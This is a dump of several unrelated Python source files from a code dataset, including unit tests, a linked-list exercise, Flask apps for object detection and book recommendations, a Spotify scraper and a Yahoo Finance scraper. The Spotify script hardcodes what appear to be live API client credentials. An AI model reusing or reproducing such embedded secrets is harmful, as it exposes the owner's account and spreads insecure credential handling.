unittest.mock import MagicMock, patch\n\nfrom rubicon_ml import domain\nfrom rubicon_ml.client import Artifact\n\n\ndef test_properties(project_client):\n parent = project_client\n domain_artifact = domain.Artifact(name=\"test.txt\")\n artifact = Artifact(domain_artifact, parent)\n\n assert artifact.id == domain_artifact.id\n assert artifact.name == domain_artifact.name\n assert artifact.description == domain_artifact.description\n assert artifact.created_at == domain_artifact.created_at\n assert artifact.parent == parent\n\n\ndef test_get_data(project_client):\n project = project_client\n data = b\"content\"\n artifact = project.log_artifact(name=\"test.txt\", data_bytes=data)\n artifact._get_data()\n\n assert artifact.data == data\n\n\ndef test_get_data_unpickle_false(project_client):\n project = project_client\n data = b\"content\"\n artifact = project.log_artifact(name=\"test.txt\", data_bytes=data)\n\n assert artifact.get_data(unpickle=False) == data\n\n\ndef test_get_data_unpickle_true(project_client):\n \"\"\"Unpickle=True intended for retrieving python objects\n that were logged as artifacts, hence dummy object is needed.\n \"\"\"\n\n project = project_client\n global TestObject # cannot pickle local variable\n\n class TestObject:\n value = 1\n\n test_object = TestObject()\n artifact = project.log_artifact(name=\"test object\", data_object=test_object)\n\n assert artifact.get_data(unpickle=True).value == test_object.value\n\n\n@patch(\"fsspec.implementations.local.LocalFileSystem.open\")\ndef test_download_cwd(mock_open, project_client):\n project = project_client\n data = b\"content\"\n artifact = project.log_artifact(name=\"test.txt\", data_bytes=data)\n artifact.data\n\n mock_file = MagicMock()\n mock_open.side_effect = mock_file\n\n artifact.download()\n\n mock_open.assert_called_once_with(os.path.join(os.getcwd(), artifact.name), mode=\"wb\")\n mock_file().write.assert_called_once_with(data)\n\n\n@patch(\"fsspec.implementations.local.LocalFileSystem.open\")\ndef test_download_location(mock_open, project_client):\n project = project_client\n data = b\"content\"\n artifact = project.log_artifact(name=\"test.txt\", data_bytes=data)\n artifact.data\n\n mock_file = MagicMock()\n mock_open.side_effect = mock_file\n\n artifact.download(location=\"/path/to/tests\", name=\"new_name.txt\")\n\n mock_open.assert_called_once_with(\"/path/to/tests/new_name.txt\", mode=\"wb\")\n mock_file().write.assert_called_once_with(data)\n","sub_path":"tests/unit/client/test_artifact_client.py","file_name":"test_artifact_client.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"20535221","text":"class node(object):\r\n \"sebuah simpul linked list\"\r\n def __init__ (self, data, next=None):\r\n self.data = data\r\n self.next = next\r\n\r\nclass linkedList(object):\r\n def __init__ (self, head=None):\r\n self.head = head\r\n\r\n def kunjungi(self, head):\r\n curNode = head\r\n while curNode is not None :\r\n print(curNode.data)\r\n curNode = curNode.next\r\n\r\n #menyisipkan node baru\r\n def sisip(self, before, newNode ):\r\n newNode.next = before.next\r\n before.next = newNode\r\n\r\n #menghapus node\r\n def hapus(self, hps):\r\n \r\n key = self.head\r\n #jika node yg dihapus merupakan head\r\n if(key is not None):\r\n if (key == hps):\r\n self.head = key.next\r\n key= None\r\n return\r\n\r\n while key is not None:\r\n if key == hps :\r\n break\r\n prev = key\r\n key = key.next\r\n\r\n if key==None :\r\n return\r\n\r\n prev.next = key.next\r\n\r\n temp = None\r\n\r\na = node(50)\r\nb = node(42)\r\nc = node(44)\r\nd = node(11)\r\ne = node(33)\r\n\r\n\r\na.next = b\r\nb.next = c\r\nc.next = d\r\nd.next = e\r\n\r\nllist = linkedList()\r\nllist.head = a\r\nllist.kunjungi(a)\r\n\r\n#menyisipkan node baru\r\nf = node(99)\r\nprint('menambahkan node baru x antara node b dan c :')\r\nllist.sisip(b, f)\r\nllist.kunjungi(a)\r\n\r\n#menghapus node c\r\nprint('menghapus isi dari c')\r\nllist.hapus(c)\r\nllist.kunjungi(a)\r\n","sub_path":"Modul3_F_171/TugasR.py","file_name":"TugasR.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"76693899","text":"#!/usr/bin/python\n\n\"\"\" Arguments\n\tsys.argv[0] = filename\n\tsys.argv[1] = number\n\tsys.argv[2] = source\n\tsys.argv[3] = destination\n\"\"\"\n\nimport sys\nfrom lxml import etree\nfrom nsc import createXML\n\n\"\"\"\ndestSystem expects a decimal number and the base of new number system\n\"\"\"\ndef destSystem(number, base):\n\tconvertedNumber = \"\"\n\n\twhile (number > 0):\n\t\tconvertedNumber = str(number % base) + convertedNumber;\n\t\tnumber = number / base\n\n\treturn convertedNumber\n\n# create items element for Alfred\nitems = etree.Element(\"items\")\n\nif (len(sys.argv) == 4):\n\t# calculate integer first\n\tdecimal = int(sys.argv[1], int(sys.argv[2]))\n\t# create associative array and create xml from it\n\td = {'uid':\"decimal\", 'arg':str(decimal), 'title':str(decimal),\t'subtitle':\"Decimal\", 'icon':'icons/decimal.png'}\n\titem = createXML(d)\n\t# append new item to items\n\titems.append(item)\n\n\t# calculate new number\n\tconv = destSystem(decimal, int(sys.argv[3]))\n\t# create associative array and create xml from it\n\tc = {'uid':\"conv\", 'arg':conv, 'title':conv, 'subtitle':\"Number to base \" + sys.argv[3]}\n\titem = createXML(c)\n\t# append new item to items\n\titems.append(item)\n\nelse:\n\terror_string = \"Make sure to pass 3 numbersfor help type \\\"nsc help\\\"\"\n\titems = etree.fromstring(error_string)\n\nprint (etree.tostring(items, pretty_print=True, xml_declaration=True))","sub_path":"Sources/Workflows/nsc/convertNumber.py","file_name":"convertNumber.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"265680391","text":"import requests\nimport tweepy\nimport json\nimport pandas as pd\n\n\n\ndef api_topic(api,topic):\n tweets = tweepy.Cursor(api.search,q=\"topic\",\n lang=\"en\",\n since=\"2018-07-21\").items(10)\n\n tweet_dict = {'dates':[],'tweet':[]}\n for t in tweets:\n tweet_dict['dates'].append(t.created_at)\n tweet_dict['tweet'].append(t.text)\n return pd.DataFrame(tweet_dict)\n\ndef text_transform(textinput):\n dict_to_df = {'tweet':[textinput]}\n return pd.DataFrame(dict_to_df)\n","sub_path":"query_functions.py","file_name":"query_functions.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"604104634","text":"from flask import Flask\r\nfrom flask import Flask, jsonify, request\r\nimport os\r\nimport cv2\r\nimport numpy as np\r\nimport tensorflow as tf\r\nimport sys\r\nfrom io import StringIO\r\n\r\nfrom io import BytesIO\r\n\r\n# Import utilites\r\nfrom utils import label_map_util\r\nfrom utils import visualization_utils as vis_util\r\nimport base64\r\nimport requests\r\n\r\napp = Flask(__name__)\r\n\r\ndef readb64(base64_string):\r\n sbuf = StringIO()\r\n sbuf.write(base64.b64decode(base64_string))\r\n pimg = Image.open(sbuf)\r\n return cv2.cvtColor(np.array(pimg), cv2.COLOR_RGB2BGR)\r\n\r\ndef decodeImage(imgstring, fileName):\r\n imgdata = base64.b64decode(imgstring)\r\n with open(fileName, 'wb') as f:\r\n f.write(imgdata)\r\n f.close()\r\n\r\n@app.route('/')\r\ndef hello_world():\r\n return 'Hello, World!'\r\n\r\n@app.route('/predict',methods=['POST'])\r\ndef image_detection():\r\n\r\n\r\n # Name of the directory containing the object detection module we're using\r\n MODEL_NAME = 'inference_graph'\r\n #IMAGE_NAME = 'a.jpg'\r\n IMAGE_NAME = request.json['image']\r\n\r\n # Grab path to current working directory\r\n CWD_PATH = os.getcwd()\r\n\r\n # Path to frozen detection graph .pb file, which contains the model that is used\r\n # for object detection.\r\n PATH_TO_CKPT = os.path.join(CWD_PATH, MODEL_NAME, 'frozen_inference_graph.pb')\r\n #PATH_TO_CKPT=\"/home/suman/tensorflow1/hdf/HDF/inferenceq_graph/frozen_inference_graph.pb\"\r\n # Path to label map file\r\n PATH_TO_LABELS = os.path.join(CWD_PATH, 'training', 'labelmap.pbtxt')\r\n\r\n # Path to image\r\n #PATH_TO_IMAGE = os.path.join(CWD_PATH, IMAGE_NAME)\r\n\r\n # Number of classes the object detector can identify\r\n NUM_CLASSES = 4\r\n\r\n # Load the label map.\r\n # Label maps map indices to category names, so that when our convolution\r\n # network predicts `5`, we know that this corresponds to `king`.\r\n # Here we use internal utility functions, but anything that returns a\r\n # dictionary mapping integers to appropriate string labels would be fine\r\n label_map = label_map_util.load_labelmap(PATH_TO_LABELS)\r\n categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES,\r\n use_display_name=True)\r\n category_index = label_map_util.create_category_index(categories)\r\n\r\n # Load the Tensorflow model into memory.\r\n detection_graph = tf.Graph()\r\n with detection_graph.as_default():\r\n od_graph_def = tf.GraphDef()\r\n with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\r\n serialized_graph = fid.read()\r\n od_graph_def.ParseFromString(serialized_graph)\r\n tf.import_graph_def(od_graph_def, name='')\r\n\r\n sess = tf.Session(graph=detection_graph)\r\n\r\n # Define input and output tensors (i.e. data) for the object detection classifier\r\n\r\n # Input tensor is the image\r\n image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\r\n\r\n # Output tensors are the detection boxes, scores, and classes\r\n # Each box represents a part of the image where a particular object was detected\r\n detection_boxes = detection_graph.get_tensor_by_name('detection_boxes:0')\r\n\r\n # Each score represents level of confidence for each of the objects.\r\n # The score is shown on the result image, together with the class label.\r\n detection_scores = detection_graph.get_tensor_by_name('detection_scores:0')\r\n detection_classes = detection_graph.get_tensor_by_name('detection_classes:0')\r\n\r\n # Number of objects detected\r\n num_detections = detection_graph.get_tensor_by_name('num_detections:0')\r\n\r\n # Load image using OpenCV and\r\n # expand image dimensions to have shape: [1, None, None, 3]\r\n # i.e. a single-column array, where each item in the column has the pixel RGB value\r\n #imm = readb64(str(IMAGE_NAME))\r\n im_bytes = base64.b64decode(IMAGE_NAME)\r\n im_arr = np.frombuffer(im_bytes, dtype=np.uint8) # im_arr is one-dim Numpy array\r\n image = cv2.imdecode(im_arr, flags=cv2.IMREAD_COLOR)\r\n #image = cv2.imread(imm)\r\n\r\n #cv2.imshow(\"test\", image)\r\n #cv2.waitKey(0)\r\n image_rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\r\n image_expanded = np.expand_dims(image_rgb, axis=0)\r\n\r\n # Perform the actual detection by running the model with the image as input\r\n (boxes, scores, classes, num) = sess.run(\r\n [detection_boxes, detection_scores, detection_classes, num_detections],\r\n feed_dict={image_tensor: image_expanded})\r\n\r\n # Draw the results of the detection (aka 'visulaize the results')\r\n\r\n vis_util.visualize_boxes_and_labels_on_image_array(\r\n image,\r\n np.squeeze(boxes),\r\n np.squeeze(classes).astype(np.int32),\r\n np.squeeze(scores),\r\n category_index,\r\n use_normalized_coordinates=True,\r\n line_thickness=8,\r\n min_score_thresh=0.60)\r\n\r\n # All the results have been drawn on image. Now display the image.\r\n #cv2.imshow('Object detector', image)\r\n #image = cv2.cvtColor(image,cv2.COLOR_BGR2RGB)\r\n cv2.imwrite(\"e.jpg\",image)\r\n _, im_arr = cv2.imencode('.jpg', image) # im_arr: image in Numpy one-dim array format.\r\n im_bytes = im_arr.tobytes()\r\n im_b64 = base64.b64encode(im_bytes)\r\n im_b64=im_b64.decode('utf-8')\r\n full_str = 'data:image/jpeg;base64,'+str(im_b64)\r\n # Press any key to close the image\r\n #cv2.waitKey(0)\r\n\r\n # Clean up\r\n #cv2.destroyAllWindows()\r\n return full_str\r\n\r\n#port = int(os.getenv(\"PORT\"))\r\nif __name__ == \"__main__\":\r\n #clApp = flask_api()\r\n #app.run(host='0.0.0.0', port=port)\r\n app.run(host='0.0.0.0', port=5000, debug=True)\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"590749866","text":"import mesh_tools\n\nif __name__ == '__main__':\n input_mesh = './meshes/heartventricle1.exf'\n dimension = 3\n xi_locations = [0.5, 0.5, 0.5]\n elements = [1]\n\n mesh = mesh_tools.Zinc_mesh(input_mesh, dimension)\n mesh.evaluate(xi_locations, elements)\n mesh.export_vtk('./results/test')\n mesh.find_standard_elements()\n","sub_path":"examples/generate_mesh_from_scaffolds/generate_heart_ventricle_mesh.py","file_name":"generate_heart_ventricle_mesh.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"449981302","text":"import os\nimport json\nimport gzip\nimport time\nimport pandas as pd\nimport spotipy\nfrom spotipy.oauth2 import SpotifyClientCredentials\nfrom utils import split_list_into_chunks, write_gzipjson, read_gzipjson\n\n# Specify Spotify client credentials to use\nclient_credentials = SpotifyClientCredentials(\n client_id = 'b76fb75e78854fd7b97d15f0b2c384c7',\n client_secret='bef1ef9917a947998cd78cffd2de3164'\n)\nsp = spotipy.Spotify(client_credentials_manager=client_credentials)\n\n# Specify file paths - To be modified for each team member\nfpath_in = 'allsongs_4of4.csv' # CSV file to be read in\nfpath_out = 'audiofeatures_4of4.txt.gz' # gzip file to save into (Keep .txt.gz extension!)\n\n# Get the list of track URIs for scraping\nallsongs_df = pd.read_csv(fpath_in)\ntrack_uri = list(allsongs_df['track_uri'])\n\n# Split the list of track URIs\nn_tracks_per_call = 100 # Maximum number per call allowed by Spotify API\ntrack_uri_split = split_list_into_chunks(track_uri, n_tracks_per_call)\n\n# Get desired song features from Spotify API\ncounter = 0\nfor uri_call_chunk in track_uri_split:\n counter += 1\n try:\n audio_features_lst = sp.audio_features(uri_call_chunk)\n except:\n raise Exception(f'Chunk {counter}: Fail')\n print(f'Chunk {counter}: Success')\n write_gzipjson(audio_features_lst, fpath_out)\n time.sleep(0.5)\n\n# # Resulting gzip file can be read back into the list of dictionaries\n# lst_of_dct = read_gzipjson(fpath_out)\n","sub_path":"Data/get_audiofeatures.py","file_name":"get_audiofeatures.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"636719116","text":"#!/usr/bin/python3\n# coding: utf-8\n\"\"\"\ntests time elapsed\n\"\"\"\nimport time\nimport judgees\nimport yaml\nfrom base import simulate, judgement\nfrom compose import compose\nimport sys\nfrom cmdline import parser, filt_prefix, rdrops\n\n\ndef testdataalg(data, alg, **kwargs):\n start_time = time.time()\n result = alg(data, **kwargs)\n end_time = time.time()\n return {\n 'usedtime': end_time - start_time,\n **(simulate if \"only_simulate\" in kwargs\n else judgement)(data, result, **kwargs)\n }\n\n\ndef testdata(data, algs, **kwargs):\n return {alg.__name__: testdataalg(data, alg, **kwargs) for alg in algs}\n\n\ndef testall(datasets, algs, **kwargs):\n return {data.__name__: testdata(data, algs, **kwargs) for data in datasets}\n\n\ndef main(data_names=[], alg_names=[], **kwargs):\n from importlib import import_module\n from pprint import pprint\n\n data_names = data_names or judgees.datasets\n alg_names = alg_names or judgees.algs\n try:\n datasets = [import_module(data_name) for data_name in data_names]\n algs = [import_module(alg_name).__dict__[alg_name]\n for alg_name in alg_names]\n except ImportError as e:\n print(\n \"no such \" +\n (\"data\" if e.name.startswith(\"data_\") else \"algorithm\") +\n \": \" + e.name\n )\n sys.exit(1)\n\n (compose(print, yaml.dump) if kwargs.get(\"yaml\") else pprint)(\n testall(datasets, algs, **kwargs),\n **{\"default_flow_style\": False for _ in [1] if kwargs.get(\"yaml\")})\n print()\n\n\nif __name__ == '__main__':\n names, opts = parser(sys.argv[1:])\n data_names, alg_names = filt_prefix(rdrops(names, \".py\"), \"data_\")\n main(data_names, alg_names, **opts)\n\n","sub_path":"judge.py","file_name":"judge.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"287185681","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nTests\n\nRun with pytest\n\"\"\"\nimport os\nimport sys\nimport pytest\n\n# try and make this script run from more than one directory\nsys.path.append('.')\nsys.path.append('..')\n\n# disable numba for debugging purposes\nos.environ['NUMBA_DISABLE_JIT'] = '1'\n\nfrom Karstolution.isotope_calcite import isotope_calcite\nfrom Karstolution.calcpco2 import calc_pco2\n\ndef test_zero_net_flux_case():\n # this case was blowing up (net calcite deposition --> zero)\n ic,gr = (isotope_calcite(d=500., TC=10., pCO2=1314.6646646646648, pCO2cave=1000,\n h=0.98, V=0.1, phi=1.0, d18Oini=0, tt=1) )\n print(ic,gr)\n\ndef test_golgotha_parameters():\n # these parameters are not behaving as expected\n ic,gr = (isotope_calcite(d=500., TC=10., pCO2=6000., pCO2cave=6000.,\n h=0.98, V=0.1, phi=1.0, d18Oini=0, tt=1) )\n print(ic)\n\ndef test_no_evaporation():\n # evaporation set to zero - model should still run because precipitation\n # is driven by gradient in CO2 between drip water and cave air\n ic,gr = (isotope_calcite(d=500., TC=10., pCO2=16000., pCO2cave=6000.,\n h=1.0, V=0.0, phi=1.0, d18Oini=0, tt=1) )\n print(ic)\n\ndef test_zero_ventilation():\n ic,gr = (isotope_calcite(d=500., TC=10., pCO2=16000., pCO2cave=6000.,\n h=0.95, V=0.0, phi=1.0, d18Oini=0, tt=1) )\n print(ic,gr)\n\n\ndef test_evaporation_tends_to_zero():\n # evaporation is zero\n ic1,gr1 = (isotope_calcite(d=500., TC=10., pCO2=16000., pCO2cave=6000.,\n h=1.0, V=0.0, phi=1.0, d18Oini=0, tt=1) )\n # evaporation close to zero\n ic2,gr2 = (isotope_calcite(d=500., TC=10., pCO2=16000., pCO2cave=6000.,\n h=0.9999, V=0.0001, phi=1.0, d18Oini=0, tt=1) )\n # evaporation closer to zero\n ic3,gr3 = (isotope_calcite(d=500., TC=10., pCO2=16000., pCO2cave=6000.,\n h=0.999999, V=0.000001, phi=1.0, d18Oini=0, tt=1) )\n # evaporation close to zero, but h not 1.0\n ic4,gr4 = (isotope_calcite(d=500., TC=10., pCO2=16000., pCO2cave=6000.,\n h=0.7, V=1e-6, phi=1.0, d18Oini=0, tt=1) )\n print(ic1,ic2,ic3,ic4)\n assert abs(ic1-ic3) < 1e-4\n\ndef test_humidity_sensitivity_when_evaporation_tends_to_zero():\n ic1,gr1 = (isotope_calcite(d=500., TC=10., pCO2=16000., pCO2cave=6000.,\n h=0.99, V=1e-7, phi=1.0, d18Oini=0, tt=1) )\n # evaporation close to zero\n ic2,gr2 = (isotope_calcite(d=500., TC=10., pCO2=16000., pCO2cave=6000.,\n h=0.7, V=1e-7, phi=1.0, d18Oini=0, tt=1) )\n print(ic1,ic2)\n\ndef test_no_gradient_no_evaporation():\n # evaporation is zero (rh 100%, no ventilation), pCO2 equals pCAVE, there should\n # be nothing happening (ic,gr undefined)\n ic,gr = (isotope_calcite(d=500., TC=10., pCO2=6000., pCO2cave=6000.,\n h=1.0, V=0.0, phi=1.0, d18Oini=0, tt=1) )\n print(ic,gr)\n\ndef test_no_gradient_weak_evaporation():\n # evaporation is close to zero, pCO2 equals pCAVE\n ic,gr = (isotope_calcite(d=500., TC=10., pCO2=6000., pCO2cave=6000.,\n h=0.9999, V=0.0001, phi=1.0, d18Oini=0, tt=1) )\n print(ic,gr)\n\ndef test_calc_pco2():\n pco2 = calc_pco2(1e-3, 21.)\n print(pco2)\n\ndef test_calc_pco2_fail():\n with pytest.raises(ValueError):\n pco2 = calc_pco2(0, 21.)\n \n\nif __name__ == \"__main__\":\n #test_no_evaporation()\n #test_evaporation_tends_to_zero()\n #test_no_gradient_weak_evaporation()\n #test_zero_ventilation()\n #test_humidity_sensitivity_when_evaporation_tends_to_zero()\n test_calc_pco2()","sub_path":"tests/test_isolution.py","file_name":"test_isolution.py","file_ext":"py","file_size_in_byte":3452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"619039965","text":"import nltk\nimport re\nfrom nltk import word_tokenize \nfrom nltk.stem import WordNetLemmatizer \nimport cPickle as pickle \nimport os, json\nfrom flask import Flask, g, render_template, request, jsonify\nimport MySQLdb\nimport numpy as np\nimport scipy as scipy\n\napp = Flask(__name__)\n\n@app.before_request\ndef before_request():\n g.db = MySQLdb.connect(user=\"###############\",passwd=\"##########\", host=\"localhost\", port=3306, db=\"pickyourfiction\")\n\n@app.teardown_request\ndef teardown_request(exception):\n db = getattr(g, 'db', None)\n if db is not None:\n db.close() \n \n@app.route(\"/\")\ndef hello(): \n return render_template('index.html') \n\n@app.route(\"/slides\")\ndef slides(): \n return render_template('slides.html') \n \n@app.route('/book')\ndef book():\n db = getattr(g, 'db', None)\n cursor = db.cursor()\n weights = [1.0,1.0,1.0,1.0,1.0]\n try:\n titleEntered = str(unicode(request.args.get('bookTitle', '')).encode('utf8'))\n wordsPlus = str(unicode(request.args.get('plusWords', '')).encode('utf8'))\n wordsMinus = str(unicode(request.args.get('minusWords', '')).encode('utf8'))\n gSlider = request.args.get('gSlider', '')\n pSlider = request.args.get('pSlider', '')\n rowGet = \"SELECT id FROM wtitle WHERE title like %s\"\n cursor.execute(rowGet,(titleEntered,))\n book=int(cursor.fetchall()[0][0])\n pSlider = float(pSlider)\n gSlider = float(gSlider)\n bookGet = \"SELECT book,pop,genre FROM wbooksim WHERE id=%s\"\n cursor.execute(bookGet,(book+1,))\n x=cursor.fetchall()\n selection = pickle.loads(x[0][0])\n similarity = (weights[0]*np.arange(500)+pSlider/5*weights[1]*pickle.loads(x[0][1])+gSlider/5*weights[2]*pickle.loads(x[0][2]))\n except:\n similarity = np.zeros((3055,))\n book = -1 \n \n wnl = WordNetLemmatizer()\n plusParse = re.sub('\\W+',' ',wordsPlus.lower())\n vectPlus = [wnl.lemmatize(t) for t in word_tokenize(plusParse)]\n \n minusParse = re.sub('\\W+',' ',wordsMinus.lower())\n vectMinus = [wnl.lemmatize(t) for t in word_tokenize(minusParse)]\n \n for word in vectPlus:\n rowGet = \"SELECT ind,dat FROM wtext WHERE id=%s\"\n try:\n rowGet = \"SELECT id FROM wwords WHERE word=%s\"\n cursor.execute(rowGet,(word,))\n loc = cursor.fetchall()[0][0]\n rowGet = \"SELECT ind,dat FROM wtext WHERE id=%s\"\n cursor.execute(rowGet,(loc+1,))\n x=cursor.fetchall()\n nText = np.zeros((3055,))\n nText[pickle.loads(x[0][0])]=pickle.loads(x[0][1])\n if book != -1:\n similarity += weights[3]*nText[selection]\n else:\n similarity += weights[3]*nText \n except:\n continue\n \n for word in vectMinus:\n try:\n rowGet = \"SELECT id FROM wwords WHERE word=%s\"\n cursor.execute(rowGet,(word,))\n loc = cursor.fetchall()[0][0]\n rowGet = \"SELECT ind,dat FROM wtext WHERE id=%s\"\n cursor.execute(rowGet,(loc+1,))\n x=cursor.fetchall()\n nText = np.zeros((3055,))\n nText[pickle.loads(x[0][0])]=pickle.loads(x[0][1])\n if book != -1:\n similarity -= weights[4]*nText[selection]\n else:\n similarity -= weights[4]*nText \n except:\n continue\n \n if book != -1:\n best = selection[np.argsort(similarity)[-5:]][::-1]\n rowGet = \"SELECT b1,b2,b3,b4,b5,b6 FROM wsug WHERE id=%s\"\n cursor.execute(rowGet,(book+1,))\n suggest = cursor.fetchall()[0]\n else:\n best = np.argsort(similarity)[-5:][::-1]\n if len(vectPlus)!=0:\n rowGet = \"SELECT id FROM wwords WHERE word=%s\"\n cursor.execute(rowGet,(vectPlus[0],))\n loc = cursor.fetchall()[0][0]\n rowGet = \"SELECT b1,b2,b3,b4,b5,b6 FROM wwordsug WHERE id=%s\"\n cursor.execute(rowGet,(loc+1,))\n suggest = cursor.fetchall()[0]\n elif len(vectMinus)!=0:\n rowGet = \"SELECT id FROM wWords WHERE word=%s\"\n cursor.execute(rowGet,(vectMinus[0],))\n loc = cursor.fetchall()[0][0]\n rowGet = \"SELECT b1,b2,b3,b4,b5,b6 FROM wwordsug WHERE id=%s\"\n cursor.execute(rowGet,(loc+1,))\n suggest = cursor.fetchall()[0]\n else: \n rowGet = \"SELECT b1,b2,b3,b4,b5,b6 FROM wsug WHERE id=%s\"\n cursor.execute(rowGet,(1,))\n suggest = cursor.fetchall()[0]\n rowGet = \"SELECT url,author,title,descs FROM winfo WHERE id=%s\"\n info = []\n for i in best:\n cursor.execute(rowGet,(i+1,))\n info.append(cursor.fetchall()[0])\n return jsonify(title1=info[0][2], author1='By '+info[0][1],description1=info[0][3],image1=info[0][0],title2=info[1][2], author2='By '+info[1][1],description2=info[1][3],image2=info[1][0],title3=info[2][2], author3='By '+info[2][1],description3=info[2][3],image3=info[2][0],title4=info[3][2], author4='By '+info[3][1],description4=info[3][3],image4=info[3][0],title5=info[4][2], author5='By '+info[4][1],description5=info[4][3],image5=info[4][0],bonus1=suggest[0],bonus2=suggest[1],bonus3=suggest[2],bonus4=suggest[3],bonus5=suggest[4],bonus6=suggest[5])\n\nif __name__ == '__main__':\n app.run(debug='False',host='0.0.0.0', port=5000)\n\n\n","sub_path":"finalapp.py","file_name":"finalapp.py","file_ext":"py","file_size_in_byte":5422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"197872252","text":"#!/usr/bin/python3\n\n# this script hides email addresses from a text file\n\nimport sys\nimport os\nimport re\n\ndef usage():\n print(os.path.basename(sys.argv[0]), \"\")\n\nif len(sys.argv) != 2:\n usage()\n sys.exit(1)\n\nif not os.path.isfile(sys.argv[1]):\n usage()\n sys.exit(1)\n\nfile = sys.argv[1]\n\nwith open(file, 'r') as f:\n file_contents = f.read()\n\nfile_contents_emails_hidden = re.sub(r'[\\w.-]+@[\\w.-]+\\.\\w+','EMAIL_HIDDEN',file_contents)\n\nwith open(file, 'w') as f:\n f.write(file_contents_emails_hidden)","sub_path":"email_hider/hide_email_addresses.py","file_name":"hide_email_addresses.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"48315682","text":"from tkinter import *\n\nroot=Tk()\nroot.title(\"checkbutton\")\n\n\n##creación de las variables para los check, activo vale 1 e inactivo 0\n\nplaya=IntVar()\nmontagna=IntVar()\nturismoRural=IntVar()\n\ndef opcionesviae():\n\topcionEscogida=\"\"\n\n\tif(playa.get()==1):\n\t\topcionEscogida+=\" Playa\"\n\n\tif(montagna.get()==1):\n\t\topcionEscogida+=\" Montaña\"\n\n\tif(turismoRural.get()==1):\n\t\topcionEscogida+=\" Turismo Rural\"\n\n\ttextoFinal.config(text=opcionEscogida)\n\n\nfoto=PhotoImage(file=\"imagenes/numero10.png\")\nLabel(root,image=foto).pack()\n\nframe = Frame(root).pack()\n\nLabel(frame,text=\"elige destinos\", width=50).pack()\n\n\nCheckbutton(frame,text=\"Playa\",variable=playa, onvalue=1, offvalue=0,command=opcionesviae).pack()\nCheckbutton(frame,text=\"Montaña\",variable=montagna, onvalue=1, offvalue=0,command=opcionesviae).pack()\nCheckbutton(frame,text=\"Turismo rural\",variable=turismoRural, onvalue=1, offvalue=0,command=opcionesviae).pack()\n\n\n\n\ntextoFinal=Label(frame)\ntextoFinal.pack()\n\n\nroot.mainloop()","sub_path":"checkbutton.py","file_name":"checkbutton.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"110250653","text":"import os\n\nimport requests\nimport testinfra.utils.ansible_runner\n\ntestinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner(\n os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('all')\n\n\ndef test_tomcat_installed(host):\n assert host.package(\"tomcat\").is_installed\n\n\ndef test_tomcat_running(host):\n tomcat = host.service(\"tomcat\")\n assert tomcat.is_running\n assert tomcat.is_enabled\n\n\ndef test_application_running():\n r = requests.get(\"http://localhost:8081/app/\")\n assert r.status_code == 200\n assert r.content == 'Hello ZetraSoft v1'\n\n\ndef test_hosts_file(host):\n f = host.file('/etc/hosts')\n\n assert f.exists\n assert f.user == 'root'\n assert f.group == 'root'\n","sub_path":"zetra/ansible/deploy/molecule/default/tests/test_default.py","file_name":"test_default.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"459031753","text":"import requests #To Obtain the information we use requests\nfrom bs4 import BeautifulSoup #to parse that information we ue beautiful soup and with the help of beautifulsoup we\n #can target different links to extract Information\nurl=\"https://finance.yahoo.com/quote/GOOGL?p=GOOGL&.tsrc=fin-srch&guccounter=1\"\nheader={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36'}\n\nhtml_page=requests.get(url)#now again and again if we try to fetch data from the site then it will understand that\n #its a bot so will use header element and in that my user agent.\n# print(html_page)\n# now will create soup obj and pass html page content and parser ..here we r passing lxml which is fastest.\nsoup=BeautifulSoup(html_page.content,'lxml')#we can know abt parsers through beautiful soup documentation.\nprint(soup.title)#not a good one so can use find method\nheaderin=soup.find_all(\"div\",id=\"quote-header-info\")[0]\nsoup_title=headerin.find(\"h1\",class_=\"D(ib) Fz(18px)\").get_text()\nprint(soup_title)\n\n\nsoup_value=headerin.find(\"div\",class_=\"D(ib) Mend(20px)\").find(\"span\").get_text()\nprint(soup_value)\nsoup_tablev=soup.find_all(\"div\",class_=\"D(ib) W(1/2) Bxz(bb) Pend(12px) Va(t) ie-7_D(i) smartphone_D(b) smartphone_W(100%) smartphone_Pend(0px) smartphone_BdY smartphone_Bdc($seperatorColor)\")[0].find_all(\"tr\")\n\n\n# previousCloseHeading=soup_tablev[0].find_all(\"span\")[0].getText()\n# previousCloseValue=soup_tablev[1].find_all(\"span\")[1].getText()\n# 